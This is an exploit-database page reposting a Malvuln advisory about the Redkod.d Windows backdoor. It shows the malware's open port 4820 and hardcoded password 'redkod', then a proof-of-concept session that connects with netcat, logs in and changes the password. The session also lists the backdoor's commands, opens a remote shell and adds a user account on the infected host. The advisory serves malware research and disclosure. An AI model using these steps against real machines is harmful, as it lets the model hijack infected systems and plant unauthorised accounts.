Exploitalert - Database of Exploits

Backdoor.Win32.Redkod.d / Weak Hardcoded Credentials

CVE	Category	Price	Severity
N/A	CWE-798	N/A	High

Author	Risk	Exploitation Type	Date
Unknown	Critical	Remote	2022-10-17

CVSS	EPSS	EPSSP
CVSS:4.6/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2022100040

Backdoor.Win32.Redkod.d / Weak Hardcoded Credentials

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/bb309bdd071d5733efefe940a89fcbe8.txt Contact: [email protected] Media: twitter.com/malvuln Threat: Backdoor.Win32.Redkod.d Vulnerability: Weak Hardcoded Credentials Description: The malware listens on TCP port 4820. Authentication is required, however the password "redkod" is weak and hardcoded in cleartext within the PE file. Family: Redkod Type: PE32 MD5: bb309bdd071d5733efefe940a89fcbe8 Vuln ID: MVID-2022-0649 Disclosure: 10/16/2022 Exploit/PoC: C:\>nc64.exe x.x.x.x 4820 =========================================================== = RedKod Backdoor 1.0 = = By R-e-D = = http://www.redkod.com = = [email protected] = =========================================================== Password: redkod RBackdoor# exec calc msg: Execution effectuee avec succes RBackdoor# setpass malvuln RBackdoor# help COMMAND HELP: > Shell Commands : CD Permet de changer de repertoire courant CLEAR Efface le buffer de la console COPY Permet de copier un fichier DEL Permet d'effacer un ou plusieurs fichier DIR Permet de lister le contenu d'un repertoire FIND Recherche un fichier a travers le path HELP Affiche cette aide LS Permet de lister le contenu d'un repertoire MD Permet de creer un repertoire MOVE Permet de deplacer un fichier ou un repertoire REN Permet de renommer un fichier PWD Permet de recuperer le repertoire courant RMDIR Permet d'effacer un repertoire SHELL Permet d'executer toute commande DOS sur le systeme cible > Informations Commands : CLIP Permet de recuperer le contenu du presse papier DISKINFO Permet de recuperer des informations sur les disques durs GETGROUPS Permet de recuperer des informations sur les groupes, les users, les SID :) GETPROCESS Recupere et affiche la liste des processus actifs GETSERVICES Permet d'afficher les services NT presents sur une machine local ou distante LISTEVENT Permet de lister les journaux du eventlog NETSHARE Permer d'afficher les ressources partager de la machine local ou d'u ne machine distante ENUMSERVER Permet d'afficher les servers appartenant au domaine SYSINFO Permet de recuperer des informations sur le systeme cible TIME Affiche l'heure et la date du systeme distant UPTIME Permet d'afficher depuis combien de temps le systeme fonctionne USERINFO Permet d'obtenir des informations sur un utilisateur VERSION Affiche la version de RBackdoor WHOAMI Permet de recuperer l'utilisateur logge sur la machine > Interactions Commands : ADDEVENT Permet d'ajouter un evenement dans l'eventlog ADDSHARE Permet d'ajouter une ressource partagee BEEP Fait beeper le haut parleur interne CLEARLOG Permet d'effacer un journal complet de l'eventlog DELSERVICE Permet de supprimer un service present DELSHARE Permet de retirer une ressource partagee EXEC Permet d'executer une commande sur le systeme cible HEXEC Permet d'executer une commande tout en cachant sa sortie LOGOFF Permet de fermer la session de l'utilisateur courant KILLPROCESS Permet de killer un processus MOUSE Permet de placer le curseur de la souris au coordonnees x et y voulues MSGBOX Permet d'envoyer une boite de dialogue au systeme cible avec message personalise RCHAT Permet d'etablir une communication ecrite avec une personne etant pr esent sur le pc distant REBOOT Permet de redemarrer la machine SCREENSHOT Permet de prendre un screenshot du bureau de la machine distante SENDKEY Permet d'emuler la pression d'une touche du clavier SETNAME Change le nom NetBios du serveur STARTSERVICE Permet de demarrer un servive present sur la machine serveur STOPSERVICE Permet de stopper un service present et demarrer > Administration of RBackdoor Commands : EXIT Permet de fermer la connection a la backdoor tout en laissant la backdoor active KILL Permet de desactiver ou de reactiver la backdoor OPEN Creer un nouveau processus de RBackdoor sur un autre port SETPASS Permet de modifier le pass associe a la backdoor > RBackdoor Tools : FGET Permet de recuperer un fichier sur un serveur FTP FPUT Permet d'uploader un fichier sur un serveur FTP MAIL Permet d'envoyer un mail, etc... NETPATCH Rootkit permettant de patcher netstat.exe pour cacher RBackdoor RCRYPT Permet de crypter ou de decrypter un fichier RPATCH Permet de patcher le systeme pour effacer rbackdoor RSHELL Permet de lancer un vrai shell DOS SCAN Permet de scanner les ports d'une hote distante TELNET Permet de se connecter a une hote distante (TCP Protocol Only) VIEW Permet de lire le contenu d'un fichier WGET Recupere et d'affiche le contenu d'un fichier heberge sur un serveur http WRITE Permet d'ecrire directement dans un fichier msg: Tapez help <command> pour des informations plus precises sur la commande voulue RBackdoor# rshell ATTENTION!! Pour fermer le shell veuillez tapez 'exit'! Sinon perte de la backdoor envisageable ! Microsoft Windows [Version 10.0.16299.309] (c) 2017 Microsoft Corporation. All rights reserved. C:\dump>whoami whoami desktop-2c4jqho\victim C:\dump>net user hyp3rlinx 666 /add net user hyp3rlinx 666 /add The command completed successfully. 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